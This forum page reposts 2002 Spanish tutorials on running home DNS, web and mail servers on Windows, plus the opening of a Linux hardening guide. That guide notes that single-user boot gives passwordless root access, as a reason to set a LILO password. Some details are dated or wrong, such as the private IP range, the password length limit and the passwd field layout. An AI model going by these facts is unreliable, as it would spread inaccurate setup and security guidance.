elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Temas
Páginas: 1 ... 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 [35] 36
341  Informática / Tutoriales - Documentación / Montar servidor casero sobre Windows: III. Servicio de correo. en: 18 Septiembre 2002, 19:58 pm
Documento Original de:
http://www.bandaancha.st/documentos.php?docid=36

Montar servidor casero sobre Windows: III. Servicio de correo por FreeBSD

Con el servicio de correo pasa lo mismo que con el de WEB, hay muchos programas libres que te puedes bajar e instalar para tener tu propio servidor de correo electrónico en tu casa y no depende así de servidores externos para mandar tu correo. Aquí comentaré algunos que puedes usar pero tu mismo te puedes buscar otro que te guste más o venga mejor a tus necesidades. En esta misma web ya existe una comparativa sobre diferentes servidores de correo para Windows que se distribuyen de manera gratuita. Es una comparativa muy buena y te invito a que la visites.

Primero hay que diferenciar entre un servidor SMTP y un servidor de POP3. Así a grandes rasgos podríamos decir que un servidor SMTP es el que se utiliza para que nosotros enviemos correo. Y un servidor POP3 es el que utilizamos para recoger el correo que nos han enviado. El servidor SMTP y POP3 podrían no estar en la misma máquina físicamente e incluso no estar incluidos en la misma aplicación. Los casos que vamos a tratar, el servidor POP3 y SMTP están en la misma máquina y las aplicaciones de las que voy a hablar incluyen el servidor POP3 y SMTP. Es un comienzo, a partir de ahí que cada uno juegue con su imaginación.

Llegado a este punto tengo que volver a molestar con el DNS. Como se hablaba en la primera parte de esta serie de documentos, es recomendable una entrada MX que apunte a la dirección IP donde está el servidor de correo. Pero, ¿únicamente es necesario eso? La respuesta es sí y no. Con eso el servicio va a funcionar sin problemas cuando nos envíen correo a nosotros, pero hay un pequeño detalle que se puede volver en un inconveniente. En la primera parte comenté algunos tipos de entradas que hay en el DNS (tipo A, CNAME y MX). Pues bien, existe la entrada inversa al tipo A que se llaman entradas PTR. De la misma manera que las entradas de tipo A relacionan un nombre con una dirección IP, las entradas PTR relacionan una dirección IP con un nombre. Por ejemplo:

Tipo A:
misubdominio.ods.org------------------172.26.0.34

Tipo PTR:
172.26.0.34---------------------------misubdominio.ods.org

Pues bien, algunos servidores de correo como los de yahoo o hotmail, cuando reciben un correo comprueban, a modo de protección contra el correo basura o SPAM, que existe una entrada PTR para la dirección de la que reciben el correo. Si esta entrada no existe, no podrías enviar correo a algunos servidores, y este suele ser un método de protección bastante extendido. Esta entrada PTR ni siquiera debe apuntar a isubdominio.ods.org, tal sólo debe existir y TU no puedes introducir esa entrada, tan sólo lo puede hacer tu proveedor de servicios de Internet.

Puedes comprobar si existe esta entrada con algún software de consultas DNS gratuitos, de los que hay muchos y seguro que en tu página favorita de descargas lo puedes conseguir. Algunos programas no te permiten realizar consultar PTR directamente, no hay problema porque puedes consultar por un nombre de la siguiente manera: Tienes que poner tu dirección IP alrevés seguido de la coletilla .in-addr.arpa. Por ejemplo, si la dirección es 172.26.0.34, tendrías que consultar por el nombre:

34.0.26.172.in-addr.arpa

Si te responde diciéndote que se corresponde con 172.26.0.34, es que existe entrada PTR.

Si no tienes una herramienta de DNS, haz un ping de la siguiente manera:

ping 34.0.26.172.in-addr.arpa

Casi todas las conexiones ADSL con IP estática las incluyen, podría existir algún problema con conexiones mediante módem o conexiones con IP dinámicas de diversos tipos.

Bueno, ahora que ya hemos aclarado esto -para que luego no me critiquen porque no les funciona-, vamos a hablar un poquito del software existente. No voy a repetir los servidores que se comentan en el documento “Comparativa entre servidores de correo” que se encuentra en esta misma sección ya que está muy bien y únicamente voy a aportar dos más:

El primero es xmail que puedes encontrarlo en http://www.xmailserver.org . Se distribuye bajo licencia GPL. Se echan de menos algunas opciones interesante pero funciona y muy bien.
El segundo y el que me parece más completo es MailEnable , que puede encontrarse en http://www.mailenable.com . Puedes bajarte la versión standard que es la gratuita y con ella tiene servicio SMTP, POP3 y te da la posibilidad de manejar listas de correo. Según dice en su página, sólo funciona sobre NT/2000, así que posiblemente también en XP aunque no se especifica nada. Se distribuye diversa documentación en formato pdf y contiene una buena base de datos sobre las consultas más frecuentes.
Personalmente MailEnable me parece bastante bueno, por ello voy a comentar un poco más sobre él. Después comentaré sobre ArGoSoft Mail Server que puede encontrarse en http://www.argosoft.com/applications/mailserver/ para quienes tengan Windows 95/98/ME.

MailEnable

MailEnable nos permite manejar múltiples dominios e infinitas cuentas. Se hace un poco de lío con el correo erróneo pero si se configura bien no dará problemas. Permite una buena gestión de las cuentas de correo pudiendo crear grupos de usuarios y además proporciona la posibilidad de establecer políticas de seguridad diversas y cuotas de correo personalizadas para cada usuario. Creo que contiene muchas opciones y es por eso por lo que considero que es de lo mejor. Personalmente no le he puesto a prueba con muchas conexiones simultáneas ni nada por el estilo, pero tampoco tendría que fallar.

Lo primero que hay que hacer es, para entendernos, algo así como "que nuestra máquina pertenezca al dominio que tenemos". Para ello debemos pulsar el botón derecho sobre Mi PC y elegir propiedades. Después vamos a  la pestaña de identificación de red y pulsamos el botón de propiedades. Allí nos aparece el nombre de nuestro equipo que si no tenía uno pues se lo podemos poner ahora. Después pulsamos sobre el botón “Más...” y en la casilla de texto introducimos nuestro dominio: misubdominio.ods.org. Aceptamos todo, se reiniciará el equipo y ya está.

En el proceso de instalación, lo primero que nos pide es un nombre para nuestra Post Office inicial, por ejemplo podemos llamarla como el subdominio que has contratado y estableces una contraseña. En la siguiente pantalla te pedirá el nombre de tu dominio, en este caso pondrías misubdominio.ods.org. Te pide también que especifiques los servidores de DNS y el puerto en el que escuchará el servicio de intercambio y transporte de mensajes SMTP que por defecto es 25 y que no hay razón aparente para que quieras cambiar esto. Después de esta configuración inicial se inicia el proceso de instalación.

Una vez que se ha instalado, podemos acceder a la consola de administración mediante el acceso que en el menú de inicio se crea en la instalación para realizar una configuración más exhaustiva y añadir nuevos usuarios al servidor.

La consola de administración se compone de dos partes principales, una es Messenging Manager y otra Servers. En la primera vamos a configurar todo lo concerniente con las estafetas de correo y  los usuarios, grupos, listas de correo y dominios de la estafeta. Se pueden crear tantas estafetas como queramos, pero con una de momento es suficiente.

Si abrimos el menú de Post Offices, nos aparecerá la estafeta que definimos en la instalación. Si desplegamos el menú de la estafeta tenemos acceso a los dominios que maneja la estafeta, los mailboxes (los usuarios), los grupos y las listas de correo. Si pinchamos sobre domains, nos aparecerá el dominio que especificamos en la instalación, es decir, misubdominio.ods.org. Si pinchamos sobre mailboxes nos aparecen los usuarios del servidor. Inicialmente únicamente hay uno, el postmaster. Para crear un nuevo usuario tan sólo debemos poner el ratón sobre la ventana derecha y pulsado el botón derecho->nuevo elegimos mailbox. Ahí podemos elegir el nombre del usuario, si es una cuenta de administrados o de usuario corriente y se puede establecer la cuota de disco para el usuario (no olvidar poner una contraseña). Por ejemplo, creamos una cuenta para Pepe García llamada pgarcia.

Las opciones de grupos y listas de correo las voy a pasar por alto pero pueden ser consultadas en la documentación que es descargable desde la página.

Una vez que hemos creado un usuario, nos queda configurar el servidor POP3 y SMTP. Únicamente voy a hacer un apunte sobre la configuración del servidor SMTP. Para configurar este, debemos abrir el menú servers, a continuación el de localhost y por último el de connectors. Después pinchando el botón derecho sobre SMTP y dando a propiedades nos aparece la ventana de configuración del servidor. Pinchamos sobre la pestaña de Relay. Esto nos va a permitir que alguien que no sea un usuario nuestro utilice nuestro servidor, así se puede evitar el spam o correo basura. Para ello hay que seleccionar la casilla “Allow relay for authenticated senders”. Después, pinchando sobre el botón que esta justo debajo de esta, seleccionamos “Authenticated against the MailEnable user database”. La configuración por defecto del POP3 es válida y no es necesario tocarla.

Argosoft

Argosoft es un servidor de correo muy casero y lento pero que funciona y me parece muy simpático. Se puede encontrar en http://www.argosoft.com/applications/mailserver/ y es para la gente que por no tener Windows 2000 o XP el mailenable no le funciona.

Se instala como cualquier otro programa en Windows y el servidor empieza a funcionar aunque tenemos que configurarlo. Abrimos el programa desde la barra de iconos que aparece en la parte inferior derecha de nuestra barra de acceso rápido. Pinchamos sobre tools->options.

En la pestaña general, debemos introducir una dirección de DNS para que el servidor pueda realizar sus consultas, aquí debemos ponerle la dirección del que nos asignó nuestro proveedor o alguno que tu uses. También ha que activar la opción “Allow Relay” para que se pueda enviar correo a través del servidor y por último introducir el nombre de nuestro pc con el dominio por ejemplo.

Después pinchamos la pestaña local domains y ahí debemos introducir los diferentes dominios a los que vamos a gestionar el correo. En nuestro caso introduciríamos uno llamado misubdominio.org.

En la pestaña ports podremos modificar el número de los puertos que utilizan los servicios que se ofrecen. El servicio finger (para el que no lo conozca) da cierta información sobre los usuarios de correo que tenemos. No recomiendo en absoluto tenerlo y si podéis desactivarlo o bloquear el puerto.

La siguiente y ultima modificación que vamos a hacer será en la pestaña SMTP Authentication. Aquí debemos activar las dos casillas que se ven en pantalla a modo de seguridad que siempre viene bien. La primera es pare requerir autentificación para enviar mensajes por el servidor y la segunda para que la autentificación sea con el mismo login y password usado para el servidor POP3.Y ya está configurado. Si el servidor estaba lanzado lo reiniciamos, y si no lo lanzamos.

Ahora sólo queda introducir usuarios dentro del servidor. Para eso nos vamos a tools->users (o usando el icono de acceso de la pantalla principal). En la primera casilla, debemos poner el nombre del usuario, por ejemplo pgarcia. En la segunda el nombre completo del usuarios y en las dos siguientes el password que utilizará para acceder al servidor de correo.

Yo creo que no hay que comentar mucho sobre esto, ¿no?. En el primer cuadro insertamos el nombre de la cuenta, después el nombre real y por último el password. Las dos últimas casillas os las dejo a vosotros pero yo creo que son obvias.

Clientes

Y bien, con esto ya tenemos nuestro servidor rulando. Ahora sólo queda configurar los clientes de correo como Outlook o Netscape para poder enviar correo.

Voy a comentar la configuración para Outlook Express porque es el más extendido. Para ello, una vez abierto el Outlook, pinchamos sobre Herramientas y seleccionamos cuentas. Pinchamos sobre agregar y seleccionamos correo. Primero metemos el nombre que aparecerá cuando alguien reciba correo ( Pepe García ), después la dirección de correo (pgarcia@misubdominio.ods.org). Lo que nos pide a continuación son las direcciones de los servidores de POP3 y SMTP. Aquí la cosa cambia un poco dependiendo de dónde lo hemos instalado y desde donde se va a acceder. Si el ordenados donde se va a usar la cuenta está dentro de la red donde está el servidor de correo, habrá que poner la dirección IP de éste. Si no se está configurando en un ordenador que no está en nuestra red, que está por el mundo de Internet de Dios, pues aprovechamos el haber introducido las entradas de DNS como se indicó el primer capítulo. Si se puso una misma entrada para SMTP y POP3 como indiqué y que la llamé mailhost.misubdominio.ods.org, pues introducimos eso en las dos casillas. Si pusimos una entrada para cada servidor (el pop3 y el smtp) pues ponemos cada una según corresponda(por ejemplo, pop3.misubdominio.ods.org y smtp.misubdominio.ods.org). El haber puesto dos entradas diferentes tiene algún sentido si algún día nos interesase poner en ordenadores diferentes bajo direcciones IP diferentes el servidor de correo POP3 y SMTP. Esto es posible hacerlo y es lo más normal en servidores de mucho tráfico, sin embargo ese no es el caso ni éste es el software indicado para ello.

Por último, introducimos el nombre de la cuenta (pgarcia) (en el caso de mailenable seguido de una @ y el nombre del Post Office que hubierais puesto (p ej. pgarcia@misubdominio) ) y el password(*******). Pero aún no está todo...Si pincháis sobre la pestaña correo, podréis ver una nueva cuenta de correo, la que acabas de crear, pues pincháis sobre ella y le dais a propiedades. Nos vamos a la pestaña de servidores y activamos la casilla “Mi servidor requiere autentificación”. Después de activarla le dais a configuración y seleccionáis “usar la misma configuración que el servidor de correo entrante”.

Y ya está todo configurado. Ha sido una explicación muy concentrada pero la documentación a pesar de estar en inglés es fácilmente entendible y completa.

Vuelvo a hacer hincapié en el hecho de la configuración de los clientes, especialmente para aquellos que tengan una configuración multipuesto detrás de un router configurado como NAT. Si estáis en la misma red del servidor, no  pongáis las entradas mailhost.misubdominio.ods.org ni nada por el estilo puesto que le estarías pidiéndole el correo al router. Pon la dirección IP local y privada de la máquina donde esté el servidor. Si el cliente está fuera de nuestra red, puede poner mailhost.misubdominio.ods.org en la configuración.

Importante: Se permite la reproducción de este documento siempre que se mencione la fuente, el autor y se incluya un hiperenlace hacia su ubicación original.
342  Informática / Tutoriales - Documentación / Montar servidor casero sobre Windows: II. Servicio WEB en: 18 Septiembre 2002, 19:56 pm
Documento original de:
http://www.bandaancha.st/documentos.php?docid=35

Montar servidor casero sobre Windows: II. Servicio WEB
por FreeBSD

EL SERVICIO WEB
 

  Es el servicio estrella de Internet, y para instalarnos un servidor web en nuestra casa de manera gratuita hay muchas posibilidades. Se puede utilizar el que lleva el propio windows, creo que 98 y ME llevan un servidor personal de páginas WEB y 2000 y XP el Internet Information Server (no estoy seguro de esto). La elección de un servidor WEB depende de lo que nos queramos complicar la vida, de la seguridad que queramos, de cómo vayamos a programar la página, etc. Bien, pues pasen y vean, estos son algunos de los servidores que podemos poner si no queremos usar los que nos da windows.

 

Apache  
  Es el servidor de Internet más usado del planeta, se calcula que aproximadamente el 55% de las páginas de Internet se sirve con él. Las posibilidades son infinitas aunque la configuración puede no ser muy agradable para gente muy acostumbrada Windows con sus bonitas ventanas y botones porque se configura con ficheros de texto. Bueno, puedo decir que como defensa que hay documentación tanto en inglés como en español y que siempre es bueno aprender a manejar apache.

 

  Nos podemos bajar tanto la versión 1.3.X como la 2.X. Según comentan en su página http://httpd.apache.org , para la familia Windows está más optimizada la versión 2. Se recomienda usarlo con Windows NT o 2000 aunque comentan que con los demás sistemas operativos de Windows funciona igual.

 

  La configuración se hace mediante un archivo de texto llamado httpd.conf que está en el directorio \conf donde hayamos instalado Apache. Según se instala apache, el servidor ya está funcionando, podemos comprobarlo poniendo http://localhost en nuestro navegador y nos saldrá una página avisando que el servidor está funcionando. Por defecto, el servidor muestra como página principal alguna que se llame index.html que se encuentre en el directorio \htdocs donde hayamos instalado Apache. Podemos mover los archivos que allí están puestos a otro sitio y poner ahí nuestras páginas. Otra manera que hay es decirle a Apache que busque las páginas en otro directorio. Para ello, editaremos el fichero httpd.conf con el bloc de notas y buscaremos una entrada que diga DocumentRoot y sustituimos lo que está entre comillas por el path o camino donde se quiere poner nuestras páginas.

 

  Esto es lo más simple que hay que hacer para que el servidor funcione, lo demás para que investigueis. De todas maneras se puede encontrar documentación en Español en la página http://quark.fe.up.pt/ApachES/manual-es/ .

 

Otros
 

  Por supuesto que hay más servidores gratuitos, aquí va una lista. He intentado especificar su facilidad de configuración y si deja que se configuren muchos parámetros de funcionamiento.

Sambar:
Muy completo y muy bueno. Es algo más que un servidor web y se configura mediante archivos de texto
http://www.sambar.com/
Xitami:
Muy conocido y bueno, se configura mediante archivos de texto.
http://www.xitami.com/
Savant:
Se configura de manera gráfica principalmente. No es complicado.
http://savant.sourceforge.net
Dino'sWebServer:
Muy muy muy sencillo. Casi no requiere configuración.
http://home.no.net/nextgen/files/serv.htm
IronWall HTTP:
Sencillo de usar y puedes limitar el ancho de banda que de salida total y por conexión.
http://wasxalpha.redirectme.net/
MyWebServer:
Muy sencillo de usar. Se configura mediante un interfaz web.
http://www.mywebserver.org/us/
Lil HTTP Server 2.2:
Muy sencillito.
http://www.summitcn.com/lilhttp/lildocs.html
SimpleServer:WWW Analogx:
Posiblemente el más sencillo. Para gente que no quiera complicarse la vida.
http://www.analogx.com/
Abyss Web Server 1.0:
Muy sencillo de usar y deja configurarse. Se configura en un interfaz web.
http://www.aprelium.com/abyssws/index.html
Pi3Web v1.03:
Muy sencillo de instalar y muy sencillo de usar. Se configura mediante una herramienta de configuración que incluye el programa. Documentación abundante.
http://pi3web.sourceforge.net/
TheServer 1.1:
No hace falta ni instalación. Se configura con un archivo de texto. Documentación abundante.
http://www.fastlinksoftware.com/
  Por supuesto que en esta lista no están todos, son sólo algunos y he intentado ofrecer un abanico de posibilidades amplio para que cada uno elija aquel que mejor le convenga. Todo depende de en qué se quiera hacer la página, si va a usar tecnología JAVA, CGI, ASP...etc etc. La cosa es bajárselo y probar.

 

  Un único apunte más sobre esto. La gente que tenga una línea ADSL detrás de un NAT, como pasa con la configuración multipuesto de telefónica, no podrá acceder a su página web poniendo en su navegador www.misubdominio.ods.org, porque se conectará al router. Si el servidor está lanzado y bien configurado, lo puedes probar poniendo en tu navegador http://ip_de_la_máquina_donde_está_el_servidor. Después, si has configurado bien los túneles de entrada del router, ya se puede acceder desde fuera. Si aún así te quieres quedar tranquilo, ve a http://www.anonymizer.com/ y desde ahí pruebas si es accesible desde Internet tu página.

Importante: Se permite la reproducción de este documento siempre que se mencione la fuente, el autor y se incluya un hiperenlace hacia su ubicación original.
343  Informática / Tutoriales - Documentación / Montar servidor casero sobre Windows: I. Configuración de DNS en: 18 Septiembre 2002, 19:55 pm
Documento original de:
http://www.bandaancha.st/documentos.php?docid=34

Montar servidor casero sobre Windows: I. Configuración de DNS por FreeBSD

INTRODUCCIÓN

En muchos foros y cosas similares he visto muchas consultas sobre cómo montar servidores de Internet. Con este documento voy a intentar explicar con la mayor sencillez y concretando al máximo los pasos a seguir para montar diversos servicios de Internet en tu casa o pequeña oficina y algunos otros servicios de para redes locales.

Como es lógico, todo el software que mencione aquí es de libre distribución o de código abierto (o al menos en el momento que yo lo probé lo era) y cada uno está sujeto a licencias diferentes que no voy a comentar y que cada uno es responsable de leerlas o no, y de esta manera cumplirlas o no. Como la economía es importante (y no voy a hacer apología del pirateo) no voy a considerar que estos servicios se van a instalar sobre sistemas operativos servidores de Windows como Windows 2000 Server, Advanced Server o NT Server. Digamos que nos conformamos con algo más barato como Windows 95/98, ME, XP o 2000 Professional (estos dos últimos  no son tan baratos pero bueno). Aunque voy a ejemplificar más para Windows 2000 Professional.

De todas maneras, te animo a que pruebes Unix o Linux si no lo has hecho nunca, porque lo que se puede hacer en Windows de manera "gratuita" son juguetitos comparado con lo que estos sistemas ofrecen, aunque no sea tan sencillo.

Voy a comentar como instalar servidores web, smtp, pop3, ftp, telnet y ssh. Bueno, no se si luego comentaré todos o si además ampliaremos alguno más. En este sitio se comenta como abrir los puertos de los routers de turno, así que eso es algo que voy a obviar, solamente comentaré los puertos que usan estos servicios por defecto:

WEB-> 80
SMTP->25
POP3->110
FTP->21
SSH->22
TELNET->23
PREVIAMENTE EL DNS, LO MAS IMPORTANTE

El DNS proporciona en Internet un servicio de traducción de nombres, es decir, nosotros ponemos en nuestro navegador http://www.talypascualdominio.com y no http://172.26.0.34 , siendo esta un dirección IP ficticia (e imposible) de la página que queremos visitar. Esto es posible porque un servicio de traducción de nombres ha traducido www.talypascualdominio.com en la dirección IP donde se encuentra.

Bueno, vamos a aclarar lo de que 172.26.0.34 es una dirección ficticia. Existen direcciones IP privadas, es decir, a las que no se puede acceder desde Internet directamente. Están reservadas para ser utilizadas en redes locales. Los rangos de direcciones IP privadas son:

10.xxx.xxx.xxx
172.26.xxx.xxx
192.168.0.x
Pondré los ejemplos de direcciones IP con direcciones privadas no va a ser que coincida con la de alguno y se me vaya a enfadar, que el mundo es muy pequeño.

Si queremos ofrecer servicios a Internet para que alguien acceda a ellos o queremos redondear lo que pongamos aunque sea para uso personal, lo mejor es conseguir un dominio. He dicho antes que la economía es importante, así que no voy a hacer que paguéis un dominio, lo que vamos a hacer es contratar un subdominio gratuito.

Hay millones de lugares donde pueden contratarse estos subdominios pero yo me quedo con el que se proporciona en http://www.ods.org (Open Domain Server) por un pequeño detalle que comentaré más adelante. No digo que sea el mejor ni nada por el estilo, pero simplemente es el que mejor conozco.

En este punto hay que explicar algunas cosillas sobre el servicio DNS. No voy a comentar todas, porque ya me estoy extendiendo más de lo que debería, pero sí aquellas que nos resultan útiles para nuestro propósito.

En el DNS se pueden introducir diversos tipos de entradas. Aquí voy a comentar las entradas A, CNAME y MX.

Entradas de tipo A.
Establece una relación directa entre una dirección IP y un nombre. Por ejemplo:

talypascualdominio.com -----------> 172.26.0.34

En el momento en que esta relación queda registrada en un servidor de DNS, decir talypascualdominio es lo mismo que decir la dirección IP 172.26.0.34

Entradas tipo CNAME
Permite establecer alias entre nombres. Es decir, podemos llamar de dos maneras a una misma cosa. Por ejemplo:

miotrodominio.com------------------> talypascualdominio.com

En este momento, decir miotrodominio.com es lo mismo que decir talypascualdominio.com, y a su vez ,teniendo en cuenta la entra tipo A anterior, es lo mismo que decir la dirección IP 172.26.0.34

Entradas tipo MX
Las entradas MX dan información de donde se encuentra el intercambiador de correo de un dominio determinado. Es decir, dice donde está el servidor de correo de un dominio.

Imaginemos que queremos poner un servidor de correo para nuestro dominio talypascualdominio.com. Podríamos insertar una entrada en el DNS que sea talypascualdominio.com MX smtp.talypascualdominio.com. Con esto decimos que el correo que vaya a nuestro dominio, se encamine a la dirección a la que apunta smtp.talypascualdominio.com. Así, cuando enviamos un email a postmaster@talypascualdominio.com desde Yahoo por ejemplo, el servidor de correo de Yahoo mirará la entrada MX del DNS para saber a dónde lo tiene que enviar.

Este tipo de entrada no es 100% necesaria pero si aconsejable. Los servidores de correo vana  buscar nuestra entrada MX y si no lo encuentran pues ya depende del servidor. Algunos lo van a mandar a la dirección que hayamos puesto a nuestro dominio y otros no se comen la cabeza y lo devuelven.

Es por este motivo que me gusta el servicio que da ODS, ya que en muchos otros lugares no se nos permite introducir este tipo de entradas.

No sé si alguien se ha asustado con todo esto que he contado, espero que no porque vamos a ver que hacer esto es tan simple que un niño puede hacerlo.

EMPIEZA LA CHICHA

Para empezar nos vamos al a página www.ods.org y allí nos registramos. No nos piden ni el teléfono ni dirección ni grupo sanguíneo, tan sólo un nombre de usuario, un password, nuestra dirección de correo electrónico y el nombre. Una vez que nos hayamos registrado, volvemos a la página principal y metemos nuestro login y password y ya estamos a punto de empezar a hacer cositas.

A la izquierda nos aparece un cuadro que lleva por título Add Host on a Public Domain. Esto es lo que nosotros queremos, un nombre de subdominio público que nos sale gratis. Bien, pues pensamos en un nombre (como ejemplo pondremos como nombre misubdominio) y lo ponemos en la primera casilla (Host). Después debemos elegir bajo que dominio lo queremos. Por ejemplo elegimos el de la página, ods.org en la casilla segunda (Domain). Después debemos elegir que tipo de entrada queremos hacer (recordad lo que comente más arriba). Vamos a elegir tipo A en la tercera casilla (Type). Y por último debemos poner en la cuarta casilla nuestra dirección IP pública (IP/CNAME).

Alguien podría decir aquí que no puede poner dirección IP porque tiene una IP dinámica, no importa los que estén en este caso que pongan una cualquiera y más adelante lo solucionamos que tiene una solución muy sencilla.

¿Ya ha hecho todo el mundo lo que he contado? Pues bien, le das al botón Add Host. Y vemos si nos ha dejado meter esa entrada porque pudiera ser que el nombre está cogido. Si nos ha dejado pues cojonudo, si no pues probamos otro.

Ahora mismo ya tenemos entradas en el DNS que apuntan a nuestra dirección IP. Ahora lo podemos redondear un poco más con unos alias para que, por ejemplo, si alguien puede acceder a nuestra página pueda teclear www.misubdominio.ods.org. Esto lo vamos a hacer utilizando las entradas CNAME. Pues a empezar de nuevo. En la primera casilla ponemos www.misubdominio, en la segunda elegimos el dominio ods.org y en la tercera vamos a poner tipo CNAME. Ahora la cosa cambia un poco, porque ya no vamos a poner una dirección IP, sino otro nombre, así que en la cuarta casilla ponemos misubdominio.com.

Esto también se podría hacer con una entrada tipo A a nuestra dirección IP. Las posibilidades son diversas.

Vamos a poner como ejemplo que quedas con unos cuantos colegas con ADSL para poner servicios por Internet. En casa de uno vais a poner la página web, en otra el servidor FTP y en otra el servidor de correo. Bueno, pues los colegas sois Pedro, Luis y Pablo (que original). Bien, pues ponéis una entrada tipo A que se llama pedro.misubdominio.ods.org y que apunte a la dirección IP de Pablo. Y así lo mismo con Luis y Pablo.

Digamos que Pedro tendrá la página web, Pablo el servidor de WEB y Luis el de correo. Pues se crea una entrada CNAME llamada www.misubdominio.ods.org a pedro.misubdominio.ods.org. Para Pablo una entrada CNAME ftp.misubdominio.ods.org a pablo.misubdominio.ods.org. Y para Luis una que diga luis.misubdominio.ods.org CNAME mailhost.misubdominio.ods.org.

Y bien, ahora queda dar la puntilla para que el servicio de correo funciona correctamente, tenemos que meter una entrada MX para que se sepa donde está el intercambiador de correo. Pues en la primera casilla pondremos misubdominio, elegimos como dominio ods.org, elegimos tipo de entrada MX y en la cuarta casilla pondremos mailhost.misubdominio.ods.org. Ahora, todo el correo que vaya para el nuestro dominio, se dirigirá a mailhost.misubdominio.ods.org, es decir, a luis.misubdominio.ods.org, es decir, a la casa de Luis. En este caso queda el problema de a quién hacer apuntar el nombre misubdominio.ods.org, no sé si deciros que lo mejor es que sea una entrada tipo A a una dirección IP o un CNAME a la dirección de Pedro, Luis o Pablo, cada cosa pues tiene lo suyo. Elijan a su gusto.

En el resto de la página de de www.ods.org se da la posibilidad de cambiar las entradas que hemos hecho (update mapping for) o borrar algo que hemos metido (delete host).

Muchos os preguntareis por esa última casilla que hay en la parte de hacer los registros, pues no la voy a comentar porque no es imprescindible y me estoy alargando mucho. Podéis encontrar información sobre esto en cualquier tutorial sobre DNS de los muchos que hay por Internet.

Antes de que se me olvide vamos a comentar ahora el problemilla de las IPs dinámicas puede ocasionar para poner servicios de Internet. Bueno, problemilla ninguno, sólo tenéis que ir a la página http://www.algenta.com/software/winip y descargaros gratuitamente winip. Este programa lo que hace es actualizar las entradas de DNS automáticamente con la IP que tengáis en ese momento.

Una vez que te lo has bajado e instalado, la configuración es bien sencilla. En la primera casilla llamada Protocol eliges ODS; en la casilla Server poner ods.org; en hostname el nombre del host que quieres actualizar, así que vamos a imaginar que pedro tenía una conexión con IP dinámica, así que ahí pondría pedro.misubdominio.ods.org; y en las dos últimas casillas el nombre y password con que se registraron en la página de ods.

Podemos lanzar tantas veces el programa como registros quisiéramos actualizar dinámicamente, podríamos lanzar en un mismo ordenador dos veces el winip, una para actualizar pedro.misubdominio.ods.org y cualquier otra entrada que necesitemos.

Esto creo que ha sido un poco aburrido, yo al menos me he aburrido un poco escribiéndolo, pero creo que es necesario para que la cosa quede bonita. En los próximos documentos se explicará ya como instalar los servicios de Internet y qué software gratuito hay para cada uno de ellos. Eso si veo que la cosa tiene interés, si no pues me iré con las orejas agachadas.

Ni que decir queda que si alguien encuentra errores o fallos me pegue dos collejas de inmediato,  espero no haberme equivocado mucho.

Importante: Se permite la reproducción de este documento siempre que se mencione la fuente, el autor y se incluya un hiperenlace hacia su ubicación original.
344  Informática / Tutoriales - Documentación / Seguridad en Linux en: 18 Septiembre 2002, 19:54 pm
Documento Original de:
http://www.bandaancha.st/documentos.php?docid=26

Importante: Se permite la reproducción de este documento siempre que se mencione la fuente, el autor y se incluya un hiperenlace hacia su ubicación original.

Seguridad en LINUX por  |^FaRLo^|
1 SeGuRiDaD eN LiLo
2 uSuaRioS y PaSSWorDs
2.1 GruPoS , chgrp , newgrp , GruPoS CoN PaSSWorDs , etc...
2.2 La oRDeN Su
2.3 PaSSWorDs eN SHaDoW

Comentarios:

Bueno, a acusa del poco tiempo que tengo voy ha tener que ir haciendo este
especie de tutorial poco a poco, por tanto he decidido dividirlo y segun como lo
vea tratare mas temas de los que aqui expongo,
esto dependera de como se desarrolle la cosa :).

PRiMeRa PaRTe

1. SeGuRiDaD eN LiLo

Para arrancar Linux se debe instalar un programa que cargue el kernel, Linux
se puede cargar de varias maneras pero lo mas habitual es usar el programa
Linux Loader (LILO), a este programa se le pueden pasar varias opciones
durante el arranque para activar características especiales del sistema o
para pasar opciones al kernel, las opciones más conocidas son:

rescue - Inicia Linux en modo de único usuario para permitir reparaciones del
sistema.

single - Similar al anterior.

root=<dispositivo> Esta opcion permite arrancar desde otro dispositivo ,
por ejemplo desde un CD_ROM.
El problema es que si alguien tiene acceso local a tu maquina y arranca con
la opcion single:

Linux single
Posss entrare en el sistema con permisos de root y sin poner contrase¤a ,
para remediar esto se ha de cambiar la configuración de LILO para que pida
una contrase¤a cuando se intente utilizar la opcion single o rescue.

El archivo de configuracion de LILO se encuentra en :

/etc/lilo.conf

Para hacer que pida password se ha de añadir lo siguiente:

password=elpasswordquequieras
restricted

Por ultimo los permisos del fichero /etc/lilo.conf deberian de ser solo de
lectura y escritura para el root y para nadie mas, como mucho para el grupo
al que pertenece el root. Ya que como el password que hemos puesto esta en
texto plano cualquiera podria verlo.

2. uSuaRioS Y PaSSWorDs:

Passowrds:

UNIX utiliza un programa llamado crypt(3) para encryptar las passwords, este
programa se basa en el algoritmo de encrytacion DES (Estandar de Encryptacion
de Datos).

Las passswords pueden tener como maximo 11 caracteres pero una vez
encryptadas tienen 13, esto es debido a que los dos primeros caracteres son
el grano de sal (condimento) y se generan a parir del contador del reloj en
el momento en el que se asigna la contraseña, este grano de sal consta de 12
bits, esto quiere decir que puede ser un valor de entre 0 y 4095. Asi para
cada contrase¤a posible hay 4095 formas diferentes de encryptacion.

En el fichero /etc/passwd se guardan el nombre de usuario, nombre real ,
informacion de identificacion, y si el sistema no esta en shadow el passwd
encryptada del usuario.
Un ejemplo:

root:WLR103VcgThbH,31AB:0:0:root:/root:/bin/bash

Donde WLR103VcgThbH es la clave encrytada y WL es el gano de sal.

El numero 3 es el maximo de vida del passwd, despues de tres semanas el
usuario debera cambiarla.

El numero 1 indica cuantas semanas deben pasar para que el usuario puede
cambiar su password.
AB Indica cuando se cambio por ultima vez la clave, (Indica el numero de
semanas que han pasado desde 1/1/1970).

Estos datos están escritos en base 64.
Si por ejemplo root:...,31AB:0:0:root:/root:/bin/bash , indica que el
usuario tendra que cambiar su clave la proxima vez que se conecte al sistema.

Para cambiar el passwd basta con teclear:

Passwd -n diasmin -x diasmax usuario

Donde diasmin es el numero de dias que han de pasar para que el usuario puede
cambiar su passwd.
diasmax es el numero de dias en que expira la clave, para deshabilitar la
expiracion basta con que el valor de tiempo sea -1. Por ejemplo en el caso
del usuario Invitado:

passwd -x 30 Invitado

El usuario Invitado tendra que cambiar su clave cada mes.

No es recomendado usar la opcion un (dias minimos para cambiar la password)
porque si el usuario sospecha que le han pillado el passwd y aun no han
pasado los dias minimos, pues no podra cambiarla hasta que no pasen dichos
dias.

